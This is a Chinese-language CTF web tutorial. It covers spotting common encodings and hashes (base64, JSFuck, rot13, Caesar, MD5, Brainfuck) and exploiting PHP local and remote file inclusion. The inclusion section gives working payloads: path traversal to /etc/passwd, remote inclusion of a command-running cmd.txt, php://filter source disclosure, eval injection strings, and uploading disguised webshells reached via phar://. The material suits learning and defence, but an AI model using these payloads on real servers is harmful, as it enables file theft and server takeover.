CTF-web 第八部分 常見加密與檔案包含 偽協議
(1)加密解密等
我們在做題的時候,經常會遇到一些奇怪的加密解密的字串,這就需要我們能夠識別一些比較常用的。
1.base64
這是一個常用的編碼,而且原理也十分簡單,非常容易得到原內容。 三位元組變為四位元組 前面補兩個0。 所謂Base64,就是說選出64個字元----小寫字母a-z、大寫字母A-Z、數字0-9、符號"+"、"/"(再加上作為墊字的"=",實際上是65個字元)——作為一個基本字符集。然後,其他所有符號都轉換成這個字符集中的字元。
http://tool.chinaz.com/Tools/ScriptEncode.aspx
特點識別:只包含A-Z,a-z,0-9,+,/,=字元 * 字串長度是4的倍數 * =只會出現在字串最後,可能沒有或者一個等號或者兩個等號。
同理Base32編碼將二進位制檔案轉換成由32個ASCII字元組成的文字。(有線上工具)
2 jsfuck
這也是一個比較容易識別的一個編碼,他實際上是利用字元在計算中的一些特殊意義,將需要的一段字串轉換為只包含 ()+[]! 這六個字元,確實是十分好辨別。
網上有一些線上執行的網站,我們可以拿到上邊去執行。
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
3 rot13
"rot13"是一個古老而又簡單的加密方法,它把字母表中的每個字母用其後的第13 個字母來代替。字母表中前半部分字母將被對映到後半部分,而後半部分字母將被對映到前半部分,大小寫保持不變。
所以我們可想而知他的一些特點,比如兩次加密之後就恢復了原來的字元(有線上工具)
4 凱撒密碼
公元前100多年凱撒發明的一種密碼,簡單來說是平移密碼,也就是將字母位置向後移動一定位數。
如原文是ABCDEFG,金鑰為3,加密後就是DEFGHIJ。以金鑰的數字向後平移了三位,如果金鑰是5就是平移五位。
凱撒密碼最簡單的破譯方式為窮舉法(暴力破解法),一共只有26個字母,平移25次並將平移後的字串進行比較,就能取得最後的原文。(也有線上的解碼工具)
5 MD5
MD5即Message-Digest Algorithm 5(資訊-摘要演算法5),用於確保資訊傳輸完整一致。我們做題中經常會遇到一些有關MD5加密的東西,任意長度的資料,算出的MD5值長度都是固定的,均是32位。
對於常見的比較簡單的MD5,我們在網上可以通過一些網站直接得到原始資訊。
對於給出部分擷取的,我們可以寫指令碼進行爆破,記住要多執行緒,否則很慢,在第一部分中,我已經提供了有關的指令碼
6 Brainfuck
也是一個輕巧特別容易識別的編碼,BrainF**k 語言只有八種符號,所有的操作都由這八種符號的組合來完成:
< >+ - . , [ ],這是非常容易識別的。
(2)檔案包含漏洞
PHP檔案包含漏洞,簡單地說,就是在通過函式包含檔案時,由於沒有對包含的檔名進行有效的過濾處理,被攻擊者利用從而導致了包含了Web根目錄以外的檔案進來,就會導致檔案資訊的洩露甚至注入了惡意程式碼。
PHP檔案包含的幾個函式:
include():只有程式碼執行到該函式時才會包含檔案進來,發生錯誤時只給出一個警告並繼續向下執行。
include_once():和include()功能相同,區別在於當重複呼叫同一檔案時,程式只調用一次。
require():只要程式執行就包含檔案進來,發生錯誤時會輸出錯誤結果並終止執行。
require_once():和require()功能相同,區別在於當重複呼叫同一檔案時,程式只調用一次。
檔案包含漏洞的一般特徵如下:
?page=a.php
?home=a.html
?file=content
幾種經典的測試方法:
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
(通過多個../可以讓目錄回到根目錄中然後再進入目標目錄)
需要說明的是,進行RFI攻擊需要同時具備三個條件(被攻擊機器):
1.allow_url_fopen = On (預設開啟)
允許url連結導致的檔案開啟讀取
2.allow_url_include = On (預設關閉)
允許url中包含ftp://等包含形式
3.被包含的變數前沒有目錄的限制
伺服器通過php的特性(函式)去包含任意檔案時,由於要包含的這個檔案來源過濾不嚴,從而可以去包含一個惡意檔案,而我們可以構造這個惡意檔案來達到邪惡的目的。
或者是比較常見的本地檔案包含,使得我們可以訪問目錄下的其他檔案
比如我們會隨便的打入下面這個URL:http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然後我們的index.php程式就傻傻按照上面我們說得步驟去執行:取page為hello.php,然後去include(hello.php),
這時問題出現了,因為我們並沒有hello.php這個檔案,所以它 include的時候就會報警告,類似下列資訊:
Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3
利用暴露的路徑,我們可以嘗試訪問其他檔案 http://hi.baidu.com/m4r10/php/index.php?page=./txt.txt
也可以直接指定絕對路徑,讀取敏感的系統檔案 http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd
如果我們構造特殊程式碼的txt檔案,可以接受cmd命令並返回 那麼http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=[命令] 就可以達到目的。
檔案包含可以利用的方式
(1) 直接進行檔案的遍歷讀取;(讀取敏感資訊)在獲悉中介軟體 IIS、apache與第三方整合包等程式預設安裝路徑的情況,可以直接利用檔案包含結合目錄遍歷進行“配置檔案的讀取”
include.php?file=../../../etc/pass
include.php?file=../../../xampp/htdocs/config.php
(2)解析符合php規範的任何檔案;(本地包含配合檔案上傳)
可以利用檔案包含函式可以解析任何符合PHP規範的檔案的特性,結合檔案上傳繞過WAF,獲取webshell。
利用過程:
1)上傳shell.txt /shell.jpg /shell.rar /shell.xxx (需要確認上傳後,上傳檔案的絕對路徑)
2) 使用檔案包含漏洞,直接解析上傳的非php字尾的檔案,獲取webshell。
(3)使用PHP封裝協議(讀取php檔案原始碼)
PHP內建有很多類似於URL風格的封裝協議:
file:// --- 訪問本地檔案系統;
http:// --- 訪問HTTP(s)網址;
ftp:// --- 訪問FTP(s)URLs ;
php:// --- 訪問輸入/輸出流(I/0 stream)
eg: http://www.test.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
訪問URL,得到Base64加密後的字串 --- 》 加密的程式碼,進過解密後可以得到原始檔內容。
(PHP5.2.0之後的版本中支援data: 偽協議,可以很方便的執行程式碼)
這裡一直不懂,為什麼一定要使用加密呢base64,後來看到了一篇文章
php://filter之前最常出鏡的地方是XXE。由於XXE漏洞的特殊性,我們在讀取HTML、PHP等檔案時可能會丟擲此類錯誤parser error : StartTag: invalid element name
。其原因是,PHP是基於標籤的指令碼語言,<?php ... ?>
這個語法也與XML相符合,所以在解析XML的時候會被誤認為是XML,而其中內容(比如特殊字元)又有可能和標準XML衝突,所以導致了出錯。
那麼,為了讀取包含有敏感資訊的PHP等原始檔,我們就要先將“可能引發衝突的PHP程式碼”編碼一遍,這裡就會用到php://filter。
php://filter是PHP語言中特有的協議流,作用是作為一個“中間流”來處理其他流。比如,我們可以用如下一行程式碼將POST內容轉換成base64編碼並輸出:
readfile( "php://filter/read=convert.base64-encode/resource=php://input" ); |
關於php://filter的一些知識
php://filter是我們常常使用的一個偽協議,在任意檔案讀取,甚至getshell的時候都有利用的機會。
在include函式的使用上,經常會造成任意檔案讀取漏洞
file_get_contents()和file_put_contents()這樣函式下,常常會構成getshell等更嚴重的漏洞。
php://filter 目標使用以下的引數作為它路徑的一部分。 複合過濾鏈能夠在一個路徑上指定。詳細使用這些引數可以參考具體範例。
名稱 描述
resource=<要過濾的資料流> 這個引數是必須的。它指定了你要篩選過濾的資料流。
read=<讀鏈的篩選列表> 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
write=<寫鏈的篩選列表> 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
<;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作字首 的篩選器列表會視情況應用於讀或寫鏈。
phpfilter為協議受限制情況表
我們舉一個例子,這是平時我們用來任意檔案讀取的payload
php://filter/read=convert.base64-encode/resource=upload.php
例題1
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
// 條件一使用php://input即可繞過,上面有介紹
// 這邊發現include()動態包含了$file引數
// 傳入file=php://filter/read=convert.base64-encode/resource=index.php 即可得到index.php的BASE64加密的原始碼
例題2
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
看到Request函式,很明顯可以想到檔案包含,這裡hello是可控的,那麼,就可以構造包含語句,
?hello=1);show_source('flag.php');var_dump(
就可以show flag.php 的原始碼,從而得到flag。
注意事項:注意構造語句的閉合。
例題3
<?php
include "waf.php";
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__); ?>
// 其實就是拼接eval
// 可構造如下語句:
// 1);print_r(file(flag.php));
// 到了程式碼裡就是
eval( "var_dump(1);print_r(file(flag.php));//);");
有些時候我們並不能直接傳木馬檔案,需要壓縮成zip檔案上傳,然後使用為協議讀取和連線木馬
例 將muma.php壓縮成 test.zip 改成test.png 木馬的密碼為yu
那麼連線的方式為
?page=phar://uP1O4Ds/YtrmooXQOlxr2lhpyiW1bORHcqkMJZEM_test.png/muma
yu=phpinfo() 測試
phar是解壓協議,可以讀取檔案
http://202.112.51.130:8013/?page=phar://uP1O4Ds/YtrmooXQOlxr2lhpyiW1bORHcqkMJZEM_test.png/muma yu PHP